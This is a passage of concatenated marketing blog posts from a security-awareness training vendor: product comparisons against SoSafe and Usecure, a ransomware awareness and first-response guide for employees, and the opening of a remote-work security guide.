lighter than specialized vendors. RansomLeak treats AI threats as a first-class training category. The [AI security catalogue](/catalogue/ai-security/) includes dedicated exercises on [OWASP LLM Top 10 risks](/blog/owasp-llm-top-10/), prompt injection, [deepfake whaling with voice cloning](/blog/deepfake-social-engineering/), and [Clawdbot-style indirect prompt injection](/blog/clawdbot-security-risks/). For teams worried that generic AI awareness content does not cover what employees now face at work, this breadth is the differentiator. Neither platform replaces a technical control such as an email security gateway or a data-loss prevention tool. Both are building employee judgment for a threat surface that barely existed three years ago. ## Phishing simulation capabilities SoSafe ships a standard phishing simulation engine with templates, scheduling, and reporting. The product integrates with the microlearning modules so employees who click a simulation receive a just-in-time module on the specific attack type. Template breadth and localization are strong in EU languages. RansomLeak's phishing lives inside the interactive scenario library. Employees practice identifying [spear phishing](/exercises/spear-phishing/), [callback phishing](/exercises/callback-phishing/), [QR code phishing](/exercises/qr-code-phishing/), [vishing](/exercises/vishing/), [smishing](/exercises/smishing/), [barrel phishing](/blog/barrel-phishing/), and more. The learning happens inside a controlled scenario rather than inside the employee's production inbox. If your program depends on continuous inbox-level simulation at enterprise scale, SoSafe or a dedicated simulation vendor offers deeper automation. Many teams pair RansomLeak training with a phishing simulator and export completion data via SCORM back to the LMS. That combination is common in mid-market security programs. ## Pricing and contracts SoSafe uses custom enterprise pricing with annual contracts. Public writeups and procurement references place it in a similar premium tier to KnowBe4 and Hoxhunt. Exact pricing depends on seat count, module selection, and add-ons. A sales conversation is required for a quote. RansomLeak uses custom enterprise pricing for platform features, paired with a free exercise library that requires no account. The model is unusual in security awareness training, where most vendors gate content behind a sales conversation. Enterprise features such as analytics, SSO, SCORM export, and campaign management are part of the paid tier. Direct price comparison is hard because bundles differ. A better frame is cost per behavior change. A cheaper program that employees click through in ten minutes without remembering anything is more expensive than a higher-engagement program that actually moves phishing click rates and incident reporting. ## EU regulatory fit: NIS2, GDPR, TISAX, DORA SoSafe is built around EU regulatory alignment. NIS2 readiness, DORA alignment, TISAX certification, ISO 27001, and GDPR-compliant processing are front-and-center on the public site. The platform's research outputs (Human Risk Review) reference EU regulatory context. For buyers whose primary procurement gate is an EU compliance audit, SoSafe clears that gate quickly. RansomLeak covers the same frameworks for training-evidence purposes. Reporting aligns with SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2 evidence requirements. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) includes scenarios on GDPR, CCPA/CPRA, and HIPAA response. DORA and TISAX content is lighter than SoSafe's EU-native positioning. For pure EU regulated-industry buyers, SoSafe usually wins the compliance-fit check. For buyers who need broader AI threat coverage alongside EU-framework evidence, RansomLeak is a closer fit. For multinational buyers spanning US and EU, mixing a specialist EU vendor for DORA and TISAX work with RansomLeak for interactive skill-building is a common pattern. ## SCORM and LMS integration Both platforms support SCORM, but the emphasis differs. SoSafe operates primarily through its own console, with SCORM export available. Organizations standardized on a corporate LMS sometimes find the primary user experience is designed for the SoSafe platform, not for embedded use inside Cornerstone, Workday, or Docebo. RansomLeak was designed for LMS export from day one. Every exercise is available as a SCORM 1.2 or SCORM 2004 package, with one-click export and tested compatibility across [50+ LMSes](/blog/scorm-security-training/) including Cornerstone, Workday, SAP SuccessFactors, Docebo, Moodle, Canvas, and Absorb. If your organization centralizes training in a corporate LMS, RansomLeak runs inside it without workarounds. The trade-off is that RansomLeak's standalone cloud platform is newer and does not match the operational maturity of SoSafe's multi-year-old console. Teams that want a dedicated security awareness platform with mature workflows often prefer SoSafe's EU console, especially in regulated industries. ## Data residency and hosting SoSafe emphasizes EU-hosted infrastructure in its marketing. Processing and storage sit in EU regions, which matters for GDPR adequacy, TISAX audit trails, and industries (financial services, healthcare, public sector) where non-EU processing requires additional controls. This is a strong differentiator for EU-regulated buyers. RansomLeak offers configurable hosting regions and runs its public site and platform on cloud infrastructure that can be provisioned in EU regions. For programs where EU-only processing is a hard contractual requirement, RansomLeak can meet it, but it is not the default-prominent message on the site. Buyers with strict data-residency gates should confirm hosting geography during procurement. For multinational programs, this difference often does not matter because training data itself (completion status, quiz responses) is low-sensitivity. For highly regulated EU industries where every vendor's hosting is audited, SoSafe's EU-native positioning is simpler. ## When to pick each Pick SoSafe if your primary buyer is in the EU or DACH region, NIS2 or DORA or TISAX compliance is a hard procurement gate, EU data residency is contractual rather than preferable, and German or multilingual EU content depth matters. SoSafe also fits programs that prefer microlearning modules over longer simulations. Pick RansomLeak if you want training employees actively practice rather than passively consume, you need deep coverage of [AI-era threats](/catalogue/ai-security/) (prompt injection, deepfake, OWASP LLM Top 10), SCORM export into your existing LMS is a hard requirement, or you want to evaluate the full content library before entering a pricing conversation. RansomLeak also fits multinational programs spanning US and EU. Pick both, in parallel, if you have the budget and a sophisticated program. SoSafe can cover EU compliance tracks and microlearning reinforcement. RansomLeak can cover interactive skill-building, AI threats, and real-incident reconstructions. Both support SCORM, so completion data can aggregate in a central LMS. ## How to migrate from SoSafe to RansomLeak The migration path is straightforward for organizations already using SCORM. RansomLeak's SCORM 1.2 and 2004 packages map directly into the same LMS that hosts your SoSafe content, so existing user accounts, groups, and completion history stay intact. Existing SoSafe completion data can be exported via the standard reporting interface and retained for audit purposes. Most compliance frameworks, including SOC 2, ISO 27001, GDPR, and NIS2, care about retained evidence of training delivery rather than vendor continuity. Swapping platforms does not reset the clock on compliance evidence. A 90-day parallel run is the most common approach. Keep SoSafe for EU compliance modules, phishing simulation, and existing assigned content. Roll out RansomLeak for new campaigns focused on interactive practice, AI threats, and real-incident exercises. Compare completion, engagement, and phishing click rates at the end. If the RansomLeak program sticks, the next contract renewal becomes the decision point. ## Frequently asked questions ### Is RansomLeak a direct replacement for SoSafe? For most training content, yes. RansomLeak covers the same core topics (phishing, social engineering, ransomware, privacy compliance, GDPR response) plus AI-era threats that are lighter in SoSafe's standard library. For inbox-level automated phishing simulation at enterprise scale in EU languages, SoSafe has more mature tooling. For multi-region EU data residency as a contractual gate, SoSafe's EU-native positioning is simpler out of the box. ### How does RansomLeak compare to SoSafe on EU compliance? Both platforms support GDPR, ISO 27001, and NIS2 training evidence. SoSafe is stronger on TISAX and DORA alignment due to its EU-native design and German-first content. RansomLeak's [privacy and compliance catalogue](/catalogue/privacy-compliance/) covers GDPR, CCPA/CPRA, and HIPAA scenarios, and platform reporting aligns with SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2 evidence requirements. ### Does RansomLeak host data in the EU? RansomLeak offers configurable hosting regions including EU options. For buyers with hard EU-only processing requirements, RansomLeak can meet them, but the default marketing position is multi-region rather than EU-first. Confirm hosting geography during procurement if it is a contractual gate. ### How does RansomLeak's pricing compare to SoSafe? SoSafe uses custom enterprise pricing with annual contracts. RansomLeak uses custom enterprise pricing for platform features and offers the full exercise library for free evaluation. Direct comparison is hard because the bundles differ. Most buyers compare cost per behavior change rather than cost per seat. ### Can RansomLeak integrate with the same LMS as SoSafe? Yes, and often more easily. RansomLeak exports as SCORM 1.2 and SCORM 2004, with tested compatibility across 50+ LMSes including Cornerstone, Workday, SAP SuccessFactors, Docebo, Moodle, Canvas, and Absorb. See the [SCORM security training guide](/blog/scorm-security-training/) for the full list. SoSafe supports SCORM but operates primarily through its own console. ### What about AI-era threats specifically? SoSafe references AI threats in its content and research outputs but does not ship dedicated training on specific AI attack types. RansomLeak's [AI security catalogue](/catalogue/ai-security/) includes exercises on [OWASP LLM Top 10 risks](/blog/owasp-llm-top-10/), prompt injection, [deepfake voice whaling](/blog/deepfake-social-engineering/), and [indirect prompt injection via shared documents](/blog/clawdbot-security-risks/). For programs prioritizing AI threat preparedness, this coverage is the clearest gap between the two platforms. ### Is SoSafe available in the US? SoSafe sells into the US and has a growing presence there, though brand strength is strongest in DACH, UK, and the Nordics. For a US-based procurement cycle, KnowBe4, Proofpoint, and RansomLeak often sit higher on the shortlist than SoSafe. ### Can I run SoSafe and RansomLeak in parallel? Yes. Many security teams do during an evaluation period. A 90-day parallel run typically uses SoSafe for EU compliance modules and phishing simulation while RansomLeak covers interactive practice, AI threats, and real-world incident exercises. Completion data from both platforms can aggregate in a central LMS via SCORM. ### What data shows interactive training is more effective than microlearning? The National Training Laboratories Learning Pyramid and David Kolb's experiential learning research place "practice by doing" retention at approximately 75%, compared to roughly 20% for audio-visual content and 10% for reading. The Verizon Data Breach Investigations Report continues to attribute roughly 68% of breaches to a human element, and SANS Security Awareness Reports find that programs producing measurable behavior change rely on frequent, practice-based, job-relevant content. Microlearning can reinforce behavior, but reinforcement works better after initial skill is built through practice. ## Bottom line and next steps SoSafe is the strongest EU-native human risk management platform in the category. For organizations in DACH, the UK, or the Nordics with strict data residency, NIS2, DORA, or TISAX exposure, it is a defensible default. German-language content depth and EU-hosted processing are genuine differentiators. RansomLeak is built for teams that want employees to actively practice. Interactive 3D scenarios, deep AI-era threat coverage, free catalogue access, and SCORM export into any LMS are the practical differences. For multinational programs that span US and EU, the mix of active-practice training and AI depth often matches what SoSafe alone does not fully cover. The fastest way to decide is to run an exercise. Try a [phishing scenario](/exercises/phishing/), a [deepfake whaling simulation](/exercises/whaling-with-a-deepfake/), or the [GDPR data breach response exercise](/exercises/gdpr-data-breach-response/) inside the [training catalogue](/catalogue/). Compare the experience with whatever module employees last sat through. If active practice feels more memorable than watching or tapping through a microlearning module, that answers the question. For a broader roundup of the category, see the [best security awareness training platforms for 2026](/blog/best-security-awareness-training-2026/). For the market-leader comparison, see [RansomLeak vs KnowBe4](/blog/ransomleak-vs-knowbe4/). For branded alternatives roundups, see [KnowBe4 alternatives](/blog/knowbe4-alternatives/) and [Hoxhunt alternatives](/blog/hoxhunt-alternatives/). --- _Practice beats watching. Try a free [phishing exercise](/exercises/phishing/), [prompt injection scenario](/catalogue/ai-security/), or [GDPR data breach response simulation](/exercises/gdpr-data-breach-response/). Browse the full [training catalogue](/catalogue/) for 100+ interactive exercises. No sign-up, no sales pitch._ --- ### RansomLeak vs Usecure Comparison Source: https://ransomleak.com/blog/ransomleak-vs-usecure/ Usecure and RansomLeak serve different segments of the security awareness market. Understanding which segment you belong to is more useful than comparing feature lists. Usecure is built for managed service providers (MSPs) who deliver security training to their clients. The platform automates enrollment, risk assessment, and training delivery so that an MSP can manage awareness programs for dozens of client organizations from a single dashboard. It is efficient, affordable, and designed for scale across multiple tenants. RansomLeak is built for organizations that want the best possible training experience for their employees. Interactive 3D simulations, hands-on exercises, SCORM flexibility, and deep topic coverage across phishing, social engineering, AI security, and compliance. If you are an MSP looking for a multi-tenant platform, you are probably evaluating Usecure. If you are an enterprise looking for training your employees will actually remember, you are probably evaluating RansomLeak. Both are valid starting points. ## What is Usecure? Usecure is a UK-based security awareness platform founded in 2017, designed primarily for managed service providers (MSPs) and small-to-medium businesses. The platform automates security training through risk assessments, auto-enrolled learning paths, simulated phishing, and dark web monitoring. Usecure's multi-tenant architecture allows MSPs to manage training programs for multiple client organizations from a single pane of glass. Pricing is positioned below enterprise competitors, making it accessible for SMBs. The platform integrates with common MSP tools (ConnectWise, Datto, HaloPSA) and focuses on automation to minimize administrative overhead for service providers managing many accounts. ## What is RansomLeak? RansomLeak is a security awareness training platform built around interactive 3D simulations. Founded in 2025 by the creators of Kontra Application Security Training, the platform offers over 100 exercises covering phishing, social engineering, ransomware, business email compromise, vishing, smishing, privacy compliance, and AI security. Training is delivered through immersive scenarios where employees practice handling realistic attacks. RansomLeak supports both SCORM deployment and a standalone cloud platform with analytics, SSO, campaign management, and enterprise integrations. ## Feature comparison | Category | RansomLeak | Usecure | |---|---|---| | Content approach | Interactive 3D simulations | Video modules + assessments | | Primary audience | Enterprise direct | MSPs and SMBs | | Multi-tenant management | No (single-tenant) | Yes (MSP multi-tenant dashboard) | | Risk assessment | Exercise-based evaluation | Automated risk profiling | | Auto-enrollment | Campaign-based | Risk-based auto-enrollment | | Dark web monitoring | No | Yes (credential exposure scanning) | | SCORM support | SCORM 1.2 and 2004 | No SCORM export | | LMS flexibility | Any LMS or standalone | Usecure platform only | | Content library | 100+ exercises, 14 categories | Video modules + assessments | | Free content | 100+ exercises, no sign-up | Free trial available | | Gamification | Points, badges, leaderboards | Basic completion tracking | | SSO/SAML | Okta, Azure AD, Google Workspace | Azure AD, limited SSO | | MSP tooling | No MSP-specific features | ConnectWise, Datto, HaloPSA integration | | Compliance reporting | SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, NIS2 | Basic compliance reports | | Pricing | Enterprise custom | Per-user, MSP-friendly pricing | ## Where Usecure is stronger **MSP multi-tenant management.** Usecure is purpose-built for MSPs managing dozens of client organizations. The multi-tenant dashboard, per-client reporting, and integrations with PSA tools (ConnectWise, Datto, HaloPSA) are features RansomLeak does not offer. If you are an MSP, Usecure's management layer saves significant administrative time. **Risk-based auto-enrollment.** Usecure automatically assesses employee security knowledge through questionnaires, identifies gaps, and enrolls them in relevant training modules. This hands-off approach is valuable for MSPs and lean IT teams that cannot manually curate training paths for every employee. **Dark web monitoring.** Usecure includes credential monitoring that scans dark web databases for exposed employee credentials and alerts the organization. This is a complementary security feature that goes beyond training content. RansomLeak does not include dark web monitoring. **SMB-friendly pricing.** Usecure's per-user pricing is positioned below most enterprise competitors, making it accessible for small and medium businesses, particularly when purchased through an MSP. For organizations where budget is the primary constraint, Usecure's price point is hard to beat. **Speed to deployment.** Usecure's automation means an MSP can have a client's training program running within hours. Automated risk assessment, auto-enrollment, and templated phishing campaigns minimize setup time. For MSPs onboarding many clients, this efficiency matters. ## Where RansomLeak is stronger **Training quality and engagement.** This is where the platforms diverge most. Usecure delivers training through standard video modules and assessments. RansomLeak delivers training through interactive 3D simulations where employees practice handling realistic attack scenarios. The experience is fundamentally different. An employee completing a Usecure module watches a video and answers questions. An employee completing a RansomLeak exercise steps into a [social engineering scenario](/exercises/social-engineering/), makes decisions, and sees consequences. [Research on training retention](/blog/security-awareness-training-effectiveness/) consistently shows that active practice produces better outcomes than passive consumption. **Topic depth and breadth.** RansomLeak covers 14 categories including [AI security](/catalogue/ai-security/), [OWASP LLM risks](/blog/owasp-llm-top-10/), [deepfake social engineering](/blog/deepfake-social-engineering/), [callback phishing](/blog/callback-phishing/), [QR code phishing](/blog/quishing/), and [real-world incident response](/catalogue/real-world-incidents/). Usecure covers core security topics well but does not go as deep on emerging threats. For organizations facing sophisticated attack types, RansomLeak's content library addresses risks that Usecure's does not. **SCORM and LMS integration.** RansomLeak exports as [SCORM 1.2 and 2004 packages](/blog/scorm-security-training/) compatible with any LMS. Usecure has no SCORM export capability. Enterprise organizations that centralize training in Cornerstone, Workday, or similar platforms need SCORM support. **Enterprise features.** RansomLeak's enterprise capabilities (SIEM integration with Splunk/Sentinel/QRadar, comprehensive SSO, role-based access control, white-label branding, multi-framework compliance reporting) are built for direct enterprise deployment. Usecure's feature set is optimized for MSP-managed delivery, which means some enterprise-grade capabilities are thinner. **Free content evaluation.** RansomLeak's [entire exercise catalogue](/catalogue/) is free to try without creating an account. Usecure offers a trial but with limited access. Being able to evaluate 100+ exercises at no cost before committing changes how procurement conversations go. ## Who should choose Usecure? Usecure is the right platform if: - You are an MSP managing security awareness for multiple client organizations - Multi-tenant management and PSA tool integration are requirements - Your budget is limited and SMB-friendly pricing matters most - Automated risk assessment and training enrollment reduce admin overhead - Dark web credential monitoring is a desired add-on feature - Speed to deployment is more important than training content depth The typical Usecure buyer is an MSP looking for an affordable, automatable security awareness platform they can deploy across their client base with minimal manual effort. ## Who should choose RansomLeak? RansomLeak is the right platform if: - Training engagement and behavior change are your primary goals - You want employees to practice handling attacks, not just watch videos about them - SCORM integration with your LMS is a requirement - Your program needs to cover AI security, deepfakes, and emerging threats - Enterprise features (SIEM, SSO, RBAC, compliance reporting) matter - You want to evaluate the full content library for free before purchasing The typical RansomLeak buyer is an enterprise organization that wants training their employees will actually engage with, deployed through their existing LMS or a dedicated platform with full enterprise capabilities. ## How does pricing compare? Usecure's pricing is designed for MSP economics: low per-user cost that allows managed service providers to mark up and resell at a profit while remaining affordable for SMB clients. This makes Usecure one of the more affordable options in the SAT market. RansomLeak uses custom enterprise pricing based on organization size and deployment model. The free exercise library means content evaluation happens before pricing conversations. The pricing gap reflects different value propositions. Usecure optimizes for low cost and automated delivery. RansomLeak optimizes for training quality and engagement. For an MSP managing 50 clients who need basic security awareness, Usecure's economics make sense. For a single enterprise that wants measurable behavior change from its training investment, the per-seat cost matters less than the quality of each training interaction. ## How to decide If you are an MSP, start with Usecure. Its multi-tenant architecture, PSA integrations, and MSP-friendly pricing are built for your business model. RansomLeak is not designed for multi-tenant MSP management. If you are an enterprise buying training directly, start with RansomLeak. The interactive content, SCORM flexibility, and enterprise features are built for organizations deploying training to their own workforce. You can try [100+ exercises for free](/catalogue/) before making a decision. The two platforms serve different buyers. Choosing between them is less about which is "better" and more about whether you are buying training-as-a-managed-service or training-as-a-direct-enterprise-investment. If you are comparing Usecure against direct enterprise vendors rather than MSP-focused ones, our 2026 roundup of [the best security awareness training platforms](/blog/best-security-awareness-training-2026/) covers the shortlist enterprise buyers typically consider. --- *Try the training your employees will actually remember. Start with a free [phishing exercise](/exercises/phishing/), [ransomware simulation](/exercises/ransomware/), or [social engineering scenario](/exercises/social-engineering/). Browse the full [training catalogue](/catalogue/) for 100+ exercises. No sign-up needed.* --- ### Ransomware Awareness Training Source: https://ransomleak.com/blog/ransomware-awareness-training/ A finance team member opens a PDF labeled "Q4 Invoice Reconciliation." The file came from what looks like a known vendor. Thirty seconds later, file extensions on her desktop start changing. Documents she opened yesterday now end in `.locked`. Programs freeze. A full-screen message appears with a Bitcoin address and a 48-hour countdown. She pulls her ethernet cable. Calls IT. Does not touch the power button. That instinct saved her company roughly two weeks of recovery time, because she had trained for this exact moment. ## What ransomware actually does Ransomware is malware that encrypts files on a device and demands payment for the decryption key. Modern variants do not stop at one machine. They spread laterally through network shares, mapped drives, and stolen credentials, encrypting everything reachable before the victim notices. IBM's 2023 Cost of a Data Breach Report puts the average ransomware incident at $4.54 million. That number covers downtime, forensics, legal costs, regulatory fines, and lost business. It does not include the ransom payment itself. The attack lifecycle has compressed. Groups like LockBit and BlackCat have demonstrated the ability to encrypt an entire corporate network in under four hours. The median time from initial access to encryption deployment dropped below 24 hours in 2023. Employees are the first line of detection, and often the last chance to contain an incident before it reaches critical systems. ## How ransomware gets in Most ransomware infections start with one of three entry points. ### Phishing emails with weaponized attachments The most common vector. An employee receives what appears to be a routine document: an invoice, a shipping notification, an HR policy update. The attachment contains a macro, an embedded script, or redirects to a malicious download. One click, and the payload executes. The challenge is that these emails are getting harder to spot. Attackers research their targets, reference real projects, and use sender addresses that closely mimic legitimate contacts. Standard [phishing detection skills](/blog/phishing-detection/) help here, but ransomware delivery has its own indicators employees should recognize. ### Compromised credentials and remote access Stolen or reused passwords give attackers direct access to corporate VPNs, RDP sessions, and cloud platforms. From there, they deploy ransomware manually, often during off-hours when nobody is watching the alerts. This is where individual password habits connect directly to organizational risk. An employee who reuses their corporate email password on a breached personal account creates an opening. [Credential stuffing attacks](/blog/credential-stuffing-awareness/) exploit exactly this pattern, and a successful credential match can become a ransomware incident within hours. ### Unpatched software vulnerabilities Attackers scan for known vulnerabilities in internet-facing systems. When they find unpatched servers or outdated VPN appliances, they exploit them to establish a foothold. The 2023 MOVEit Transfer vulnerability (CVE-2023-34362) led to ransomware attacks against hundreds of organizations within weeks of public disclosure. Employees play a role here too. Ignoring OS update prompts, deferring endpoint protection updates, and disabling security tools all widen the attack surface. ## Warning signs employees should recognize The gap between ransomware landing on a system and full encryption is where employees can make the biggest difference. Here is what an active infection looks like from a user's perspective. **File behavior changes.** Documents, spreadsheets, and images start gaining new extensions like `.locked`, `.encrypted`, or random strings like `.xk9wz`. Files you opened yesterday suddenly will not open. Folders contain new text files named `README` or `HOW_TO_DECRYPT`. **System performance degrades.** The encryption process consumes CPU and disk I/O. Your machine slows to a crawl. Applications hang. The disk activity light stays solid. **Security tools disappear.** Sophisticated ransomware disables antivirus, EDR agents, and Windows Defender before starting encryption. If your security software suddenly closes or its icon vanishes from the system tray, that is a serious red flag. **Network drives become inaccessible.** Mapped drives and shared folders start throwing access errors. Other team members report the same issues around the same time. **The ransom note appears.** A text file, HTML page, or full-screen application demands payment in cryptocurrency. It includes a deadline, a wallet address, and sometimes a "customer support" chat link. At this point, encryption is already underway or complete. ## What to do in the first 60 seconds Speed matters more than perfection. The steps an employee takes immediately after noticing something wrong determine whether the incident stays isolated to one device or spreads across the network. **Disconnect from the network.** Pull the ethernet cable. Turn off Wi-Fi. Do this before anything else. Every second the machine stays connected, the ransomware can reach additional network shares, cloud-synced folders, and other systems. **Do not power off the machine.** This is counterintuitive, but shutting down destroys volatile memory that may contain encryption keys, active process information, and forensic artifacts your incident response team needs. Disconnect it, but leave it running. **Do not attempt to delete or move files.** You cannot outrun the encryption process, and moving files around may overwrite data that forensic tools could recover. **Contact your IT security team immediately.** Use a phone, a different device, or walk to their desk. Do not email them from the infected machine. Provide the specifics: what you noticed, when you noticed it, and what you clicked or opened before the symptoms started. **Document what you see.** If you can, take photos of the ransom note and any error messages with your phone. Note the file extensions appearing on encrypted files. Write down the exact time you first noticed something wrong. This information accelerates the investigation. Our [ransomware response exercise](/exercises/ransomware/) simulates this exact scenario, so employees can practice containment steps under pressure before a real incident forces them to. ## Why paying the ransom is the wrong move Organizations facing encrypted systems and hard deadlines feel enormous pressure to pay. Here is why that path rarely ends well. No guarantee of recovery. The FBI reports that roughly 20% of organizations that pay never receive a working decryption key. Even when keys are provided, they often work slowly or incompletely, leaving corrupted files. You fund the next attack. Ransom payments go directly to criminal operations. They fund infrastructure, recruit developers, and finance the next wave of attacks. Every payment validates the business model. Repeat targeting. Organizations that pay are flagged as willing payers. Research from Cybereason found that 80% of companies that paid a ransom were hit a second time, often by the same group. Legal exposure. Depending on the attacker's affiliation, payment may violate OFAC sanctions. Several ransomware groups are linked to sanctioned nation-state entities, and paying them carries legal risk regardless of the operational pressure. The better alternative is having tested backups and a rehearsed response plan. Organizations with both recover faster and cheaper than those who negotiate with attackers. ## Backups as ransomware defense A solid backup strategy is the single most effective ransomware countermeasure an organization can deploy. If you can restore systems from clean backups, the ransom demand becomes irrelevant. But "we have backups" is not the same as "we can recover." Ransomware groups know this. Modern variants specifically target backup systems. They delete shadow copies, encrypt network-attached backup drives, and look for cloud backup credentials to wipe remote repositories. ### The 3-2-1 rule with ransomware in mind The 3-2-1 backup rule says to maintain three copies of your data on two different storage types, with one copy offsite. For ransomware resilience, that offsite copy needs to be immutable or air-gapped, meaning attackers cannot encrypt or delete it even if they compromise the network. Many organizations now follow a 3-2-1-1-0 variant: three copies, two media types, one offsite, one immutable, zero untested restores. ### What employees need to understand about backups Individual employees may not manage backup infrastructure, but their habits directly affect whether backups work when needed. **Save files where they get backed up.** Work stored only on a local desktop or an unsanctioned cloud service likely is not included in organizational backups. Knowing where your files are and which locations are protected is basic hygiene. **Know the difference between sync and backup.** Cloud sync (OneDrive, Google Drive, Dropbox) mirrors changes in real time. If ransomware encrypts your local files, the encrypted versions sync to the cloud, destroying your last good copy. True backup services take periodic snapshots with version history. Our [backup best practices exercise](/exercises/backup-best-practices/) walks through this distinction in detail. **Test your own recovery.** Can you restore a deleted file from last week? Do you know how? If you have never tried, you will not figure it out under the stress of an active incident. ## Building a ransomware-aware culture Technical controls catch most ransomware. Email filters, endpoint detection, network segmentation. But the attacks that get through are the ones designed to bypass those controls, and they target the human layer. Effective ransomware awareness training covers three areas. ### Recognition Employees should know what ransomware delivery looks like: unexpected attachments from known senders, macro-enabled documents, password-protected archives that bypass scanning, and links to file-sharing sites that trigger downloads. They should also recognize the [social engineering tactics](/blog/social-engineering-attacks/) that make these deliveries convincing, like urgency, authority impersonation, and context-aware pretexts. ### Response Knowing what ransomware is means nothing if employees freeze when they see the signs. Response training builds muscle memory. Disconnect first, report immediately, document everything, do not power off. These steps need to be automatic, not something people look up in a wiki during a crisis. ### Recovery awareness Employees do not need to understand disaster recovery architecture. They do need to know where their files are backed up, how to verify backup status, and what recovery timelines look like for their team. Setting realistic expectations prevents panic and bad decisions during incidents. ## The role of endpoint hygiene Ransomware exploits whatever weaknesses it can find. Employees who maintain basic endpoint hygiene reduce the number of openings available. **Install updates promptly.** OS patches and application updates close the vulnerabilities ransomware exploits. Deferring updates for convenience is a direct tradeoff against security. **Do not disable security tools.** When EDR software or Windows Defender slows down a task, the temptation is to turn it off temporarily. Attackers count on this. Disabled protection during a ransomware infection means zero detection and zero automated containment. **Report unusual behavior early.** Slow performance, unexpected pop-ups, files behaving strangely. These could be nothing. They could be the first minutes of an encryption operation. Reporting early, even when you are not sure, gives the security team a chance to investigate before damage spreads. ## How ransomware has changed Ransomware in 2024 and 2025 looks different from the ransomware of five years ago. **Double extortion is standard.** Attackers steal data before encrypting it. Even if you restore from backups, they threaten to publish sensitive files unless you pay. This means ransomware is now a data breach too, with all the notification and regulatory implications that carries. **Ransomware-as-a-Service lowers the barrier.** Criminal groups sell ransomware toolkits to affiliates who conduct the actual attacks. The operators take a percentage of each payment. This model has massively increased the number of attackers and the frequency of attacks. **Targeting has shifted.** Healthcare, education, local government, and manufacturing are disproportionately hit because they have limited security budgets and cannot afford extended downtime. But no sector is immune. **AI accelerates social engineering.** Attackers use large language models to craft convincing phishing emails at scale, generate deepfake voice messages for [vishing attacks](/blog/vishing-awareness/), and translate lures into any language without grammatical errors. The human-detection signals employees relied on (broken English, awkward phrasing) are disappearing. ## Measuring training effectiveness You cannot improve what you do not measure. Track these indicators to evaluate whether your ransomware awareness program is working. **Time to report.** How quickly do employees notify security after encountering something suspicious? The gap between detection and reporting is where ransomware does most of its damage. **Simulation engagement.** Run periodic ransomware tabletop exercises or interactive simulations. Track participation rates and decision quality, not just pass/fail. **Phishing exercise performance.** Because ransomware delivery overlaps heavily with [phishing](/blog/phishing-detection/), your existing phishing training metrics indicate ransomware susceptibility too. **Backup compliance.** What percentage of employees store files in backed-up locations? How many have tested a restore in the past quarter? ## Frequently asked questions ### What is ransomware awareness training? Ransomware awareness training teaches employees to recognize attack patterns that deliver ransomware, respond correctly when an incident starts, and protect backups. Most ransomware begins with phishing, stolen credentials, or unpatched remote access, so training overlaps with phishing simulation and endpoint hygiene. Good programs include tabletop exercises where employees practice the first five minutes of a live incident. ### How does ransomware usually enter an organization? The 2024 Sophos State of Ransomware report shows three dominant entry points: exploited vulnerabilities in internet-facing software, compromised credentials on remote access tools, and phishing email. Human judgment sits at the center of two of the three. Training addresses the phishing and credential vectors. Patching and access control address the rest. ### What should employees do if they think ransomware is running? Disconnect the device from the network (ethernet cable out, Wi-Fi off), but do not power off the machine because memory-based forensic evidence is lost on shutdown. Call the security team or IT hotline immediately. Do not pay anything, sign anything, or communicate with attackers. Preserve the screen content for investigators. ### How do you train employees for ransomware response? Combine short modules on ransomware patterns with hands-on simulations. Run quarterly tabletop exercises where employees practice the first 15 minutes of an incident. Clarify reporting lines, escalation thresholds, and what employees should not touch. Include backup hygiene: which locations are backed up, how often, and how to request a restore. ### How often should ransomware training happen? At minimum annually, with quarterly reinforcement for high-risk roles. Finance teams, IT admins, and help desk staff should train more frequently because they are often the first point of social engineering contact for initial access. Pair training with monthly phishing simulations, since most ransomware still arrives via email. ### Does paying a ransom work? Sometimes, but with major caveats. The Sophos 2024 report shows that 44% of organizations that paid did not recover all their data, and 29% of those who paid were attacked again within a year. FBI, CISA, and most insurers now discourage payment. OFAC sanctions against many ransomware groups make payment potentially illegal for US organizations. ### What is the average cost of a ransomware attack? IBM's 2024 Cost of a Data Breach Report puts the average ransomware-related breach at $4.88 million, up 10% year over year. This covers downtime, recovery, legal fees, regulatory fines, and reputation damage, not just the ransom itself. Recovery takes an average of 24 days. Training investment is a fraction of that cost. --- *Practice ransomware containment before you need it. [Try our free ransomware response simulation](/exercises/ransomware/) and learn how to isolate an infected machine, preserve forensic evidence, and follow your response plan under pressure. You can also explore our full [security awareness training catalogue](/catalogue/security-awareness/) for exercises on backup strategy, endpoint patching, and incident response.* --- ### Remote Work Cybersecurity: A Practical Training Guide Source: https://ransomleak.com/blog/remote-work-cybersecurity/ Your employees left the office network years ago. They open company data on home WiFi, sync it to personal phones, and connect through VPNs that attackers now probe first. The perimeter you used to defend moved into hundreds of living rooms. That shift changed where breaches start. Exploitation of vulnerabilities was the initial access vector in 20% of breaches last year, a 34% jump, with attackers focusing on VPNs and perimeter devices, according to the [Verizon 2025 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir/). The unpatched router and the always-on VPN are no longer edge cases. Below, we break down the real risks of distributed work, the home-network and device habits that close them, and the exercises that turn those habits into reflex. ## What is remote work cybersecurity? Remote work cybersecurity is the set of practices, controls, and employee behaviors that protect company data when people work outside the office. It covers home networks, personal devices, VPNs, software updates, and account access. Each of those became an entry point the moment the corporate perimeter stopped surrounding the worker. The office firewall, the managed switch, and the IT team down the hall do not extend to a kitchen table. That puts more of the defense on the person. A remote worker decides whether the router firmware is current, whether the laptop installs that update tonight or next month, and whether a "delivery failed" text gets a tap. Remote work cybersecurity is the training and the controls that make those decisions the safe ones. ## Why does remote work expand the attack surface? In an office, security is layered and mostly invisible to staff. Network monitoring, segmented WiFi, patched endpoints, and physical access control all work in the background. Remote work strips most of those layers away and replaces them with consumer-grade defaults. Three things change at once. The network is now a shared home router that may run years-old firmware. The device may be personal, unmanaged, and used by family members. And the human is isolated, with no colleague to glance over and say "that email looks off." Attackers understand this gap. They target the technologies that gate remote access, which is why VPN appliances and home routers show up so often as the first foothold. The [Verizon 2025 DBIR](https://www.verizon.com/business/resources/reports/dbir/) found the human element involved in roughly 60% of breaches, a number that has held steady because the conditions that produce it have not improved. ## What are the biggest remote work security risks? Distributed work concentrates risk in six places. Each maps to a behavior an employee can practice and get right. ### The home network is unknown territory Most people have no idea what else is connected to their home WiFi, 